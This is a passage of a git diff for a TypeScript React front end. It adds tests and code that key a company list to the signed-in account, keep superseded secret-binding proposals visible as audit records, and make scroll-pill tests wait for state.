+          <span className="min-w-0 overflow-hidden whitespace-nowrap font-mono text-(length:--text-micro)">
+            {turnSummaryMetrics(item.summary)}
+          </span>
         </span>
       ) : null}
-      <ChevronRight className={cn("h-3 w-3 shrink-0 transition-transform", open ? "rotate-90" : null)} />
     </button>
   ) : parentRow ? (
     // The pill renders the expand button itself, wrapped around only the
diff --git a/ui/src/components/task-chat/TaskMessageScroller.test.tsx b/ui/src/components/task-chat/TaskMessageScroller.test.tsx
index 29a07575d7a..fbe9e827048 100644
--- a/ui/src/components/task-chat/TaskMessageScroller.test.tsx
+++ b/ui/src/components/task-chat/TaskMessageScroller.test.tsx
@@ -56,6 +56,20 @@ describe("TaskMessageScroller", () => {
     return container.querySelector<HTMLButtonElement>(PILL_SELECTOR);
   }
 
+  /**
+   * Wait for the pill to reach a state, rather than for a fixed number of turns.
+   * `flushEvents` yields exactly one macrotask, which is enough on an idle
+   * machine and not when the suite runs many workers in parallel — React
+   * flushes continuous-priority updates asynchronously, so the DOM read can
+   * land before the state does. Sites that dereference `pill()!` turn that into
+   * a hard failure rather than a retry.
+   */
+  async function waitForPill(present: boolean): Promise<void> {
+    await vi.waitFor(() =>
+      present ? expect(pill()).not.toBeNull() : expect(pill()).toBeNull(),
+    );
+  }
+
   /** Set scrollTop and fire a scroll event, like a user or the browser would. */
   async function scrollTo(el: HTMLElement, top: number) {
     el.scrollTop = top;
@@ -101,6 +115,7 @@ describe("TaskMessageScroller", () => {
     const el = scroller();
     fakeGeometry(el);
     await scrollTo(el, 600); // bottom: 1000 - 600 - 400 = 0 → pinned
+    await waitForPill(false); // pinned state settled before content grows
     render(2);
     expect(el.scrollTop).toBe(1000);
     expect(pill()).toBeNull();
@@ -111,6 +126,7 @@ describe("TaskMessageScroller", () => {
     const el = scroller();
     fakeGeometry(el);
     await scrollTo(el, 100); // 500px from bottom → unpinned
+    await waitForPill(true);
     const btn = pill();
     expect(btn).not.toBeNull();
     expect(btn!.className).toContain("tc-scroll-pill-in");
@@ -139,6 +155,7 @@ describe("TaskMessageScroller", () => {
     el.scrollTo = scrollToSpy as unknown as typeof el.scrollTo;
 
     await scrollTo(el, 100);
+    await waitForPill(true);
     const btn = pill()!;
     btn.click();
     await flushEvents();
@@ -167,6 +184,7 @@ describe("TaskMessageScroller", () => {
     el.scrollTo = vi.fn() as unknown as typeof el.scrollTo;
 
     await scrollTo(el, 100);
+    await waitForPill(true);
     pill()!.click();
     await flushEvents();
     await dispatch(el, new Event("wheel", { bubbles: true }));
@@ -190,20 +208,20 @@ describe("TaskMessageScroller", () => {
     const el = scroller();
     fakeGeometry(el);
     await scrollTo(el, 100);
-    expect(pill()!.className).toContain("tc-scroll-pill-in");
+    await vi.waitFor(() => expect(pill()?.className).toContain("tc-scroll-pill-in"));
 
     // Scrolling back to the bottom starts the exit animation but keeps the
     // pill mounted until animationend.
     await scrollTo(el, 600);
+    await vi.waitFor(() => expect(pill()?.className).toContain("tc-scroll-pill-out"));
     const exiting = pill();
     expect(exiting).not.toBeNull();
-    expect(exiting!.className).toContain("tc-scroll-pill-out");
 
     // jsdom has no window.AnimationEvent, so React's vendor-prefix detection
     // maps onAnimationEnd to "webkitAnimationEnd" here (real browsers get the
     // unprefixed event).
     await dispatch(exiting!, new Event("webkitAnimationEnd", { bubbles: true }));
-    expect(pill()).toBeNull();
+    await waitForPill(false);
   });
 
   it("unmounts immediately on hide under prefers-reduced-motion", async () => {
@@ -215,8 +233,8 @@ describe("TaskMessageScroller", () => {
     const el = scroller();
     fakeGeometry(el);
     await scrollTo(el, 100);
-    expect(pill()).not.toBeNull();
+    await waitForPill(true);
     await scrollTo(el, 600);
-    expect(pill()).toBeNull(); // no animationend needed
+    await waitForPill(false); // no animationend needed
   });
 });
diff --git a/ui/src/components/task-chat/interaction-thread-order.test.ts b/ui/src/components/task-chat/interaction-thread-order.test.ts
index b56d64b5b26..6f6183d56da 100644
--- a/ui/src/components/task-chat/interaction-thread-order.test.ts
+++ b/ui/src/components/task-chat/interaction-thread-order.test.ts
@@ -20,9 +20,12 @@ function confirmation(
     summary: null,
     status: "pending",
     continuationPolicy: "wake_assignee",
-    resolverPolicy: "board_only",
-    requestedResolverPolicy: "board_only",
-    effectiveResolverPolicy: "board_only",
+    resolverPolicy: "anyone",
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "anyone",
+    resolverPolicyProvenance: "inherited",
+    effectiveResolverPolicySource: "requested",
+    legacyResolverPolicyAliases: { requested: "board_or_agents", effective: "board_or_agents" },
     createdByAgentId: "agent-1",
     createdByUserId: null,
     resolvedByAgentId: null,
@@ -65,6 +68,31 @@ describe("isSuppressedThreadInteraction", () => {
     ).toBe(true);
   });
 
+  it("keeps superseded secret proposals as terminal audit receipts", () => {
+    expect(
+      isSuppressedThreadInteraction(
+        confirmation({
+          status: "expired",
+          payload: {
+            version: 1,
+            prompt: "Approve this secret binding?",
+            secretProposal: {
+              version: 1,
+              proposalId: "proposal-1",
+              sourceSecretLabel: "OpenAI API key",
+              configPath: "access.evals_openai_api_key",
+              targetAgentId: "agent-2",
+              targetAgentName: "EvalsEngineer",
+              justification: "The runner needs this binding.",
+              expiresAt: "2026-05-04T15:02:00.000Z",
+            },
+          },
+          result: result("superseded_by_newer_request"),
+        }),
+      ),
+    ).toBe(false);
+  });
+
   it("keeps accepted, rejected, and still-pending confirmations", () => {
     expect(isSuppressedThreadInteraction(confirmation())).toBe(false);
     expect(
diff --git a/ui/src/components/task-chat/interaction-thread-order.ts b/ui/src/components/task-chat/interaction-thread-order.ts
index 0a8f4fcefd2..5f218a121bc 100644
--- a/ui/src/components/task-chat/interaction-thread-order.ts
+++ b/ui/src/components/task-chat/interaction-thread-order.ts
@@ -49,6 +49,12 @@ function interactionOutcome(interaction: IssueThreadInteraction): string | null
  * so it never stacks above the confirmation that replaced it.
  */
 export function isSuppressedThreadInteraction(interaction: IssueThreadInteraction): boolean {
+  // A secret proposal is also a terminal audit receipt: even when a newer
+  // request superseded it, the safe source/target/path metadata and recovery
+  // guidance must remain visible in the issue where the proposal happened.
+  if (interaction.kind === "request_confirmation" && interaction.payload.secretProposal) {
+    return false;
+  }
   if (!CONFIRMATION_KINDS.has(interaction.kind)) return false;
   const outcome = interactionOutcome(interaction);
   return outcome != null && SUPPRESSED_CONFIRMATION_OUTCOMES.has(outcome);
diff --git a/ui/src/components/task-chat/motion-tokens.ts b/ui/src/components/task-chat/motion-tokens.ts
index 2b598c0a2b7..c6259c2f5ca 100644
--- a/ui/src/components/task-chat/motion-tokens.ts
+++ b/ui/src/components/task-chat/motion-tokens.ts
@@ -58,6 +58,7 @@ export const MOTION_TOKENS: MotionTokenDef[] = [
   { name: "--motion-count-tween", group: "States", kind: "time", min: 0, max: 1500, step: 10 },
   { name: "--motion-streaming-cursor-blink", group: "States", kind: "time", min: 0, max: 3000, step: 20 },
   { name: "--motion-turn-fold", group: "States", kind: "time", min: 0, max: 1500, step: 10 },
+  { name: "--motion-turn-meta", group: "States", kind: "time", min: 0, max: 1500, step: 10 },
   { name: "--motion-line-scroll", group: "States", kind: "time", min: 0, max: 1500, step: 10 },
   { name: "--motion-interstitial-dwell", group: "States", kind: "time", min: 0, max: 10000, step: 100 },
   { name: "--motion-scroll-pill-enter", group: "States", kind: "time", min: 0, max: 1500, step: 10 },
diff --git a/ui/src/components/task-chat/task-chat-adapter.test.ts b/ui/src/components/task-chat/task-chat-adapter.test.ts
index 27e0ad3b536..3596177cc1a 100644
--- a/ui/src/components/task-chat/task-chat-adapter.test.ts
+++ b/ui/src/components/task-chat/task-chat-adapter.test.ts
@@ -3,6 +3,21 @@ import type { IssueChatComment } from "@/lib/issue-chat-messages";
 import { commentsToTaskChatItems } from "./task-chat-adapter";
 
 describe("commentsToTaskChatItems", () => {
+  it("classifies a recovered local-board comment as an agent bubble", () => {
+    const items = commentsToTaskChatItems([{
+      id: "c-recovered",
+      body: "Recovered agent reply.",
+      authorType: "user",
+      authorUserId: "local-board",
+      authorAgentId: null,
+      derivedAuthorAgentId: "agent-1",
+      createdAt: "2026-08-07T09:00:00.000Z",
+    } as unknown as IssueChatComment]);
+
+    expect(items).toHaveLength(1);
+    expect(items[0]).toMatchObject({ kind: "message", author: "agent" });
+  });
+
   it("never tags posted comments interstitial — the run's final reply keeps its bubble", () => {
     const comments = [
       {
diff --git a/ui/src/components/task-chat/task-chat-fixtures.ts b/ui/src/components/task-chat/task-chat-fixtures.ts
index 36c7b03f301..d50030a4514 100644
--- a/ui/src/components/task-chat/task-chat-fixtures.ts
+++ b/ui/src/components/task-chat/task-chat-fixtures.ts
@@ -39,7 +39,7 @@ export function buildScenario(id: TaskChatStateId): TaskChatScenario {
       return {
         surface: "thread",
         items: [
-          { id: "mk-start", kind: "marker", variant: "session_start", label: "Session started", detail: "claude · Agent mode" },
+          { id: "mk-start", kind: "marker", variant: "session_start", label: "Session started", detail: "claude · Auto mode" },
           ...exchangePrefix(),
         ],
       };
diff --git a/ui/src/context/CompanyContext.test.tsx b/ui/src/context/CompanyContext.test.tsx
index 7faad85a4f0..26e16aa5159 100644
--- a/ui/src/context/CompanyContext.test.tsx
+++ b/ui/src/context/CompanyContext.test.tsx
@@ -16,12 +16,28 @@ import {
 const mockCompaniesApi = vi.hoisted(() => ({
   list: vi.fn(),
   create: vi.fn(),
+  detachInflightList: vi.fn(),
 }));
 
 vi.mock("../api/companies", () => ({
   companiesApi: mockCompaniesApi,
 }));
 
+const mockAuthApi = vi.hoisted(() => ({
+  getSession: vi.fn(),
+}));
+
+vi.mock("../api/auth", () => ({
+  authApi: mockAuthApi,
+}));
+
+function sessionFor(userId: string) {
+  return {
+    session: { id: `session-${userId}`, userId },
+    user: { id: userId, name: "Example", email: `${userId}@example.com`, image: null },
+  };
+}
+
 const activeCompany = { id: "company-1" };
 const secondActiveCompany = { id: "company-2" };
 const archivedCompany = { id: "archived-company" };
@@ -54,8 +70,18 @@ function makeCompany(id: string): Company {
   };
 }
 
+async function flushReact() {
+  await act(async () => {
+    await new Promise((resolve) => window.setTimeout(resolve, 0));
+  });
+}
+
+let captured: ReturnType<typeof useCompany> | null = null;
+
 function Probe({ onSelectedCompanyId }: { onSelectedCompanyId: (companyId: string | null) => void }) {
-  const { selectedCompanyId } = useCompany();
+  const company = useCompany();
+  captured = company;
+  const { selectedCompanyId } = company;
   useEffect(() => {
     onSelectedCompanyId(selectedCompanyId);
   }, [onSelectedCompanyId, selectedCompanyId]);
@@ -137,6 +163,7 @@ describe("shouldClearStoredCompanySelection", () => {
       companies: [],
       isLoading: false,
       unauthorized: true,
+      errored: false,
     })).toBe(false);
   });
 
@@ -145,8 +172,23 @@ describe("shouldClearStoredCompanySelection", () => {
       companies: [],
       isLoading: false,
       unauthorized: false,
+      errored: false,
     })).toBe(true);
   });
+
+  it("does not clear the stored company selection when the request failed", () => {
+    // `companiesListQueryOptions` sets `retry: false`, and a failure before any
+    // success leaves `data` undefined — which the provider defaults to an empty
+    // list. That is indistinguishable from "asked, and owns nothing", so
+    // without this a single failed request on a cold load would drop the
+    // customer's stored company.
+    expect(shouldClearStoredCompanySelection({
+      companies: [],
+      isLoading: false,
+      unauthorized: false,
+      errored: true,
+    })).toBe(false);
+  });
 });
 
 describe("CompanyProvider", () => {
@@ -156,6 +198,7 @@ describe("CompanyProvider", () => {
 
   beforeEach(() => {
     (globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true;
+    captured = null;
     localStorage.clear();
     container = document.createElement("div");
     document.body.appendChild(container);
@@ -165,6 +208,7 @@ describe("CompanyProvider", () => {
         queries: { retry: false },
       },
     });
+    mockAuthApi.getSession.mockResolvedValue(null);
   });
 
   afterEach(async () => {
@@ -176,6 +220,30 @@ describe("CompanyProvider", () => {
     vi.clearAllMocks();
   });
 
+  it("keeps the stored company when the company request fails", async () => {
+    // The seam the predicate test above cannot reach: the provider defaults a
+    // failed request to an empty list, so the effect has to be told the
+    // request errored or it reads that as "asked, and owns nothing" and clears
+    // the customer's stored company.
+    localStorage.setItem("paperclip.selectedCompanyId", "company-a");
+    mockCompaniesApi.list.mockRejectedValue(new Error("companies unavailable"));
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <CompanyProvider>
+            <Probe onSelectedCompanyId={() => {}} />
+          </CompanyProvider>
+        </QueryClientProvider>,
+      );
+    });
+    await act(async () => {
+      await new Promise((resolve) => setTimeout(resolve, 0));
+    });
+
+    expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-a");
+  });
+
   it("does not expose a stale stored company id before companies load", async () => {
     localStorage.setItem("paperclip.selectedCompanyId", "stale-company");
     mockCompaniesApi.list.mockImplementation(() => new Promise(() => {}));
@@ -196,7 +264,11 @@ describe("CompanyProvider", () => {
 
   it("replaces a stale stored company id with the first loaded company", async () => {
     localStorage.setItem("paperclip.selectedCompanyId", "stale-company");
-    queryClient.setQueryData(queryKeys.companies.all, {
+    // Signed out, and *known* to be: the list is keyed by account, so it cannot
+    // resolve before the session does. Seeding the answer is how this test says
+    // the account lookup has already happened.
+    queryClient.setQueryData(queryKeys.auth.session, null);
+    queryClient.setQueryData(queryKeys.companies.list(null), {
       companies: [makeCompany("company-1")],
       unauthorized: false,
     });
@@ -216,4 +288,244 @@ describe("CompanyProvider", () => {
     expect(seen).toEqual([null, "company-1"]);
     expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-1");
   });
+
+  // The `["companies"]` cache entry is shared app-wide and carries no account
+  // identity, so it survives a change of account in this tab. Cached data is
+  // served whether or not it is stale, so freshness cannot stand in for
+  // "belongs to the account signed in now".
+  describe("when the account changes in this tab", () => {
+    async function bootWithFirstAccount(seen: Array<string | null>) {
+      mockAuthApi.getSession.mockResolvedValue(sessionFor("user-1"));
+      queryClient.setQueryData(queryKeys.companies.list("user-1"), {
+        companies: [makeCompany("company-1")],
+        unauthorized: false,
+      });
+      mockCompaniesApi.list.mockImplementation(() => new Promise(() => {}));
+
+      await act(async () => {
+        root.render(
+          <QueryClientProvider client={queryClient}>
+            <CompanyProvider>
+              <Probe onSelectedCompanyId={(companyId) => seen.push(companyId)} />
+            </CompanyProvider>
+          </QueryClientProvider>,
+        );
+      });
+      await flushReact();
+
+      expect(seen).toEqual([null, "company-1"]);
+      expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-1");
+    }
+
+    it("drops the previous account's selection and re-reads the list", async () => {
+      const seen: Array<string | null> = [];
+      await bootWithFirstAccount(seen);
+
+      let resolveSecondList: ((companies: Company[]) => void) | null = null;
+      mockCompaniesApi.list.mockImplementation(
+        () =>
+          new Promise<Company[]>((resolve) => {
+            resolveSecondList = resolve;
+          }),
+      );
+
+      await act(async () => {
+        queryClient.setQueryData(queryKeys.auth.session, sessionFor("user-2"));
+      });
+      await flushReact();
+
+      // Nothing from the previous account is exposed while the new list loads.
+      expect(seen).toEqual([null, "company-1", null]);
+      expect(queryClient.getQueryData(queryKeys.companies.list("user-2"))).toBeUndefined();
+      // The previous account's entry may still sit in the cache; keying by
+      // account is what makes that harmless, since nothing reads it now.
+      expect(queryClient.getQueryData(queryKeys.companies.list("user-1"))).toMatchObject({
+        companies: [{ id: "company-1" }],
+      });
+      expect(resolveSecondList).not.toBeNull();
+      // The replacement fetch must not be coalesced into a `/companies` request
+      // issued under the previous session.
+      expect(mockCompaniesApi.detachInflightList).toHaveBeenCalled();
+
+      await act(async () => {
+        resolveSecondList?.([makeCompany("company-2")]);
+        await Promise.resolve();
+      });
+      await flushReact();
+
+      expect(seen).toEqual([null, "company-1", null, "company-2"]);
+      expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-2");
+    });
+
+    // The replacement fetch is the only thing standing between the account
+    // change and a usable app: the cache entry has already been removed, so a
+    // failure here leaves the tab with no list and no selection. It must not
+    // also leave it with no way out.
+    it("recovers the list when the replacement fetch fails and is retried", async () => {
+      const seen: Array<string | null> = [];
+      await bootWithFirstAccount(seen);
+
+      mockCompaniesApi.list.mockRejectedValue(new Error("network down"));
+
+      await act(async () => {
+        queryClient.setQueryData(queryKeys.auth.session, sessionFor("user-2"));
+      });
+      await flushReact();
+      // Past the bounded retries, so the failure has actually settled.
+      await act(async () => {
+        await new Promise((resolve) => window.setTimeout(resolve, 1200));
+      });
+      await flushReact();
+
+      // The previous account's company is gone and nothing took its place.
+      expect(seen).toEqual([null, "company-1", null]);
+      // Reported as unavailable, not as an account that owns nothing. Without
+      // this the switcher renders "No companies", which is a false claim.
+      expect(captured?.companyListUnavailable).toBe(true);
+      expect(captured?.companies).toEqual([]);
+
+      // The recovery path actually recovers.
+      mockCompaniesApi.list.mockResolvedValue([makeCompany("company-2")]);
+      await act(async () => {
+        await captured?.retryCompanies();
+      });
+      await flushReact();
+
+      expect(captured?.companyListUnavailable).toBe(false);
+      expect(seen).toEqual([null, "company-1", null, "company-2"]);
+      expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-2");
+    });
+
+    // A transient blip must not need the customer to notice and click anything.
+    // Nothing configures a retry — the second attempt is the observer's own,
+    // issued when it rebinds to a fresh query after the removal above. This
+    // pins that, so the recovery affordance stays reserved for real outages
+    // rather than becoming the only way back from a one-off blip.
+    it("rides out a single failed replacement request without help", async () => {
+      const seen: Array<string | null> = [];
+      await bootWithFirstAccount(seen);
+
+      mockCompaniesApi.list
+        .mockRejectedValueOnce(new Error("blip"))
+        .mockResolvedValue([makeCompany("company-2")]);
+
+      await act(async () => {
+        queryClient.setQueryData(queryKeys.auth.session, sessionFor("user-2"));
+      });
+      await flushReact();
+      await act(async () => {
+        await new Promise((resolve) => window.setTimeout(resolve, 1200));
+      });
+      await flushReact();
+
+      expect(captured?.companyListUnavailable).toBe(false);
+      expect(seen).toEqual([null, "company-1", null, "company-2"]);
+    });
+
+    // The failure flag must not outlive the failure. A later success — a focus
+    // refetch, an invalidation from anywhere — settles the question, including
+    // when the honest answer is an empty list. Otherwise an account that owns
+    // nothing reads as "couldn't load", behind a retry that cannot change it.
+    it("stops reporting the list as unavailable once any fetch succeeds", async () => {
+      const seen: Array<string | null> = [];
+      await bootWithFirstAccount(seen);
+
+      mockCompaniesApi.list.mockRejectedValue(new Error("network down"));
+      await act(async () => {
+        queryClient.setQueryData(queryKeys.auth.session, sessionFor("user-2"));
+      });
+      await flushReact();
+      await act(async () => {
+        await new Promise((resolve) => window.setTimeout(resolve, 1200));
+      });
+      await flushReact();
+
+      expect(captured?.companyListUnavailable).toBe(true);
+
+      // This account genuinely owns no companies, and the request says so.
+      mockCompaniesApi.list.mockResolvedValue([]);
+      await act(async () => {
+        await queryClient.refetchQueries({ queryKey: queryKeys.companies.list("user-2") });
+      });
+      await flushReact();
+
+      expect(captured?.companies).toEqual([]);
+      expect(captured?.companyListUnavailable).toBe(false);
+    });
+
+    // The guarantee the account-keyed entry buys, stated directly: a list sitting
+    // in the cache for another account is not merely distrusted, it is not
+    // reachable. No gate, no freshness check, no refetch stands between the two —
+    // they are different entries.
+    it("cannot read another account's cached list at all", async () => {
+      const seen: Array<string | null> = [];
+      await bootWithFirstAccount(seen);
+
+      // user-2's list is slow. If the entries were shared, the cached user-1
+      // list would answer in the meantime — which is the whole bug.
+      mockCompaniesApi.list.mockImplementation(() => new Promise(() => {}));
+
+      await act(async () => {
+        queryClient.setQueryData(queryKeys.auth.session, sessionFor("user-2"));
+      });
+      await flushReact();
+
+      expect(captured?.companies).toEqual([]);
+      expect(captured?.selectedCompanyId).toBeNull();
+      expect(captured?.loading).toBe(true);
+      // Still cached, still keyed to whom it belongs, still unread.
+      expect(queryClient.getQueryData(queryKeys.companies.list("user-1"))).toMatchObject({
+        companies: [{ id: "company-1" }],
+      });
+    });
+
+    // A session request that failed answers nothing. Keying the list to
+    // `anonymous` on that basis would write an authenticated response — the
+    // request still carries the cookie — into the entry every signed-out reader
+    // trusts, which is the original bug rebuilt for anonymous.
+    //
+    // Cold cache on purpose: after a prior success React Query retains the old
+    // session `data` through a failed refetch, so the identity survives anyway
+    // and the bug does not show. It needs a session that never answered.
+    it("does not treat a never-answered session as a signed-out session", async () => {
+      mockAuthApi.getSession.mockRejectedValue(new Error("network down"));
+      localStorage.setItem("paperclip.selectedCompanyId", "company-1");
+      mockCompaniesApi.list.mockResolvedValue([makeCompany("company-1")]);
+
+      await act(async () => {
+        root.render(
+          <QueryClientProvider client={queryClient}>
+            <CompanyProvider>
+              <Probe onSelectedCompanyId={() => undefined} />
+            </CompanyProvider>
+          </QueryClientProvider>,
+        );
+      });
+      await flushReact();
+      await flushReact();
+
+      // Nothing asked for a list it could not attribute, and nothing landed in
+      // the anonymous entry.
+      expect(mockCompaniesApi.list).not.toHaveBeenCalled();
+      expect(queryClient.getQueryData(queryKeys.companies.list(null))).toBeUndefined();
+      // And the stored company survives: unavailable is not "owns nothing".
+      expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-1");
+    });
+
+    it("leaves the selection alone when the same account is observed again", async () => {
+      const seen: Array<string | null> = [];
+      await bootWithFirstAccount(seen);
+      const listCallsAfterBoot = mockCompaniesApi.list.mock.calls.length;
+
+      // A session refetch returns an equal-but-new object for the same account.
+      await act(async () => {
+        queryClient.setQueryData(queryKeys.auth.session, sessionFor("user-1"));
+      });
+      await flushReact();
+
+      expect(seen).toEqual([null, "company-1"]);
+      expect(localStorage.getItem("paperclip.selectedCompanyId")).toBe("company-1");
+      expect(mockCompaniesApi.list.mock.calls.length).toBe(listCallsAfterBoot);
+    });
+  });
 });
diff --git a/ui/src/context/CompanyContext.tsx b/ui/src/context/CompanyContext.tsx
index c653fd11afe..64e41ae37ca 100644
--- a/ui/src/context/CompanyContext.tsx
+++ b/ui/src/context/CompanyContext.tsx
@@ -4,13 +4,18 @@ import {
   useContext,
   useEffect,
   useMemo,
+  useRef,
   useState,
   type ReactNode,
 } from "react";
-import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
+import { useMutation, useQueryClient } from "@tanstack/react-query";
 import type { Company } from "@paperclipai/shared";
 import { companiesApi } from "../api/companies";
-import { companiesListQueryOptions, type CompanyListResult } from "../api/companies-query";
+import {
+  fetchCompanyListForCurrentAccount,
+  useAccountIdentity,
+  useCompanyListQuery,
+} from "../api/companies-query";
 import { queryKeys } from "../lib/queryKeys";
 import type { CompanySelectionSource } from "../lib/company-selection";
 type CompanySelectionOptions = { source?: CompanySelectionSource };
@@ -22,6 +27,14 @@ interface CompanyContextValue {
   selectionSource: CompanySelectionSource;
   loading: boolean;
   error: Error | null;
+  /**
+   * There is no usable company list *and* the reason is a failed request rather
+   * than an account that owns nothing. Consumers need the two apart: an empty
+   * list is a fact to render, this is a dead end to offer a way out of.
+   */
+  companyListUnavailable: boolean;
+  /** Re-fetches the list for the account signed in now. Pairs with the flag above. */
+  retryCompanies: () => Promise<void>;
   setSelectedCompanyId: (companyId: string, options?: CompanySelectionOptions) => void;
   reloadCompanies: () => Promise<void>;
   createCompany: (data: {
@@ -67,7 +80,24 @@ export function shouldClearStoredCompanySelection(input: {
   companies: Array<Pick<Company, "id">>;
   isLoading: boolean;
   unauthorized: boolean;
+  /**
+   * Whether the company request failed. An error is not an answer, and this
+   * branch is destructive.
+   *
+   * `companiesListQueryOptions` sets `retry: false`, and a request that fails
+   * before ever succeeding leaves `data` undefined - which the provider
+   * defaults to `{ companies: [], unauthorized: false }`. That is
+   * indistinguishable from "this account was asked, and owns nothing", so a
+   * single failed request on a cold load would clear the customer's stored
+   * company and drop them onto whichever company sorts first next time.
+   *
+   * Not clearing costs nothing: a stored id that no longer resolves is
+   * ignored by {@link resolveBootstrapCompanySelection}, which checks it
+   * against the current list before using it.
+   */
+  errored: boolean;
 }) {
+  if (input.errored) return false;
   return !input.isLoading && !input.unauthorized && input.companies.length === 0;
 }
 
@@ -76,8 +106,20 @@ export function CompanyProvider({ children }: { children: ReactNode }) {
   const [selectionSource, setSelectionSource] = useState<CompanySelectionSource>("bootstrap");
   const [selectedCompanyId, setSelectedCompanyIdState] = useState<string | null>(null);
 
+  // Keyed by account, so there is no such thing here as "the list, but whose?".
+  // A change of account changes the key, which leaves this observer pending
+  // rather than holding the previous account's answer.
   const { data: companiesResult = { companies: [], unauthorized: false }, isLoading, error } =
-    useQuery<CompanyListResult>(companiesListQueryOptions);
+    useCompanyListQuery({
+      // `retry: 1` against the shared `retry: false`, and it is load-bearing
+      // here even though an earlier measurement found retries pointless. That
+      // measurement was taken against an implementation that removed the cache
+      // entry on an account change, which made the observer rebind and issue a
+      // second request for free. Keying by account replaced that mechanism, and
+      // the free attempt went with it: without this, one blip during a switch
+      // leaves the customer with no companies until they find Try again.
+      retry: 1,
+    });
   const companies = companiesResult.companies;
   const companyListUnauthorized = companiesResult.unauthorized;
   const sidebarCompanies = useMemo(
@@ -85,11 +127,43 @@ export function CompanyProvider({ children }: { children: ReactNode }) {
     [companies],
   );
 
+  // The list is account-keyed, but the *selection* is component state and does
+  // not change key with it. It belongs to the account that just went away, so it
+  // is dropped here. The stored id deliberately survives:
+  // resolveBootstrapCompanySelection re-validates it against the incoming list,
+  // so an account signing back in keeps its company while an unrelated account
+  // cannot inherit it.
+  const { userId: sessionUserId, settled: isSessionSettled } = useAccountIdentity();
+  const observedUserIdRef = useRef<string | null | undefined>(undefined);
+
+  useEffect(() => {
+    // Until the session settles the account is unknown, not changed.
+    if (!isSessionSettled) return;
+    const previousUserId = observedUserIdRef.current;
+    observedUserIdRef.current = sessionUserId;
+    // First settled observation is this tab's boot: no previous account to leave.
+    if (previousUserId === undefined || previousUserId === sessionUserId) return;
+
+    setSelectedCompanyIdState(null);
+    setSelectionSource("bootstrap");
+  }, [isSessionSettled, sessionUserId]);
+
   // Auto-select first company when list loads
   useEffect(() => {
+    // `isLoading` covers the account change too: the key moved, so this observer
+    // is pending on a list for the new account rather than holding the old one.
     if (isLoading) return;
+    // An errored list says nothing about which companies this account has, and
+    // `retry: false` makes a single network blip stick. Treat it as undecided
+    // rather than as "no companies", which would clear the stored selection.
+    if (error) return;
     if (companies.length === 0) {
-      if (shouldClearStoredCompanySelection({ companies, isLoading: false, unauthorized: companyListUnauthorized })) {
+      if (shouldClearStoredCompanySelection({
+        companies,
+        isLoading: false,
+        unauthorized: companyListUnauthorized,
+        errored: error !== null,
+      })) {
         if (selectedCompanyId !== null) {
           setSelectedCompanyIdState(null);
         }
@@ -108,7 +182,14 @@ export function CompanyProvider({ children }: { children: ReactNode }) {
     setSelectedCompanyIdState(next);
     setSelectionSource("bootstrap");
     localStorage.setItem(STORAGE_KEY, next);
-  }, [companies, companyListUnauthorized, isLoading, selectedCompanyId, sidebarCompanies]);
+  }, [
+    companies,
+    companyListUnauthorized,
+    error,
+    isLoading,
+    selectedCompanyId,
+    sidebarCompanies,
+  ]);
 
   const setSelectedCompanyId = useCallback((companyId: string, options?: CompanySelectionOptions) => {
     setSelectedCompanyIdState(companyId);
@@ -120,6 +201,27 @@ export function CompanyProvider({ children }: { children: ReactNode }) {
     await queryClient.invalidateQueries({ queryKey: queryKeys.companies.all });
   }, [queryClient]);
 
+  // The way out of the dead end. Not `reloadCompanies`: invalidation refetches
+  // only through a mounted observer, and it leaves an errored query reporting
+  // its old error, so the recovery affordance would keep telling the customer
+  // the list is unavailable after a retry had already succeeded.
+  const retryCompanies = useCallback(async () => {
+    try {
+      await fetchCompanyListForCurrentAccount(queryClient);
+    } catch {
+      // Not swallowed — `fetchQuery` records it on the query, which is where
+      // `companyListUnavailable` below reads it from. Caught only so the
+      // rejection does not go unhandled.
+    }
+  }, [queryClient]);
+
+  // Empty because we could not find out, as opposed to empty because the account
+  // owns nothing. Derived from the query rather than tracked alongside it: the
+  // query is the only thing that knows whether the last attempt succeeded, and a
+  // second copy of that answer drifts — it did, reporting a failure over a later
+  // empty list that was simply the truth.
+  const companyListUnavailable = companies.length === 0 && Boolean(error);
+
   const createMutation = useMutation({
     mutationFn: (data: {
       name: string;
@@ -157,6 +259,8 @@ export function CompanyProvider({ children }: { children: ReactNode }) {
       selectionSource,
       loading: isLoading,
       error: error as Error | null,
+      companyListUnavailable,
+      retryCompanies,
       setSelectedCompanyId,
       reloadCompanies,
       createCompany,
@@ -168,6 +272,8 @@ export function CompanyProvider({ children }: { children: ReactNode }) {
       selectionSource,
       isLoading,
       error,
+      companyListUnavailable,
+      retryCompanies,
       setSelectedCompanyId,
       reloadCompanies,
       createCompany,
diff --git a/ui/src/fixtures/issueThreadInteractionFixtures.ts b/ui/src/fixtures/issueThreadInteractionFixtures.ts
index 3d3180f02af..7d7e3b0f4f7 100644
--- a/ui/src/fixtures/issueThreadInteractionFixtures.ts
+++ b/ui/src/fixtures/issueThreadInteractionFixtures.ts
@@ -1,3 +1,4 @@
+import { legacyIssueThreadInteractionResolverPolicyAlias } from "@paperclipai/shared";
 import type { LiveRunForIssue } from "../api/heartbeats";
 import type {
   IssueChatComment,
@@ -6,8 +7,10 @@ import type {
 import type { IssueTimelineEvent } from "../lib/issue-timeline-events";
 import type {
   AskUserQuestionsInteraction,
+  IssueThreadInteractionBase,
   RequestCheckboxConfirmationInteraction,
   RequestConfirmationInteraction,
+  RequestConfirmationSecretProposalPayload,
   RequestConfirmationToolActionPayload,
   RequestItemVerdictsInteraction,
   SuggestTasksInteraction,
@@ -20,6 +23,42 @@ export const issueThreadInteractionFixtureMeta = {
   currentUserId: "user-board",
 } as const;
 
+/**
+ * Resolver-audience snapshot fields shared by every interaction fixture.
+ *
+ * The default is the open audience: `anyone` with `inherited` provenance, which
+ * is what the server returns for a create request that omits `resolverPolicy`
+ * (PAP-17277 contract, PAP-17280 surfaces). A fixture that wants a restriction
+ * states it explicitly, exactly as a requester must.
+ */
+function resolverAudienceFields(
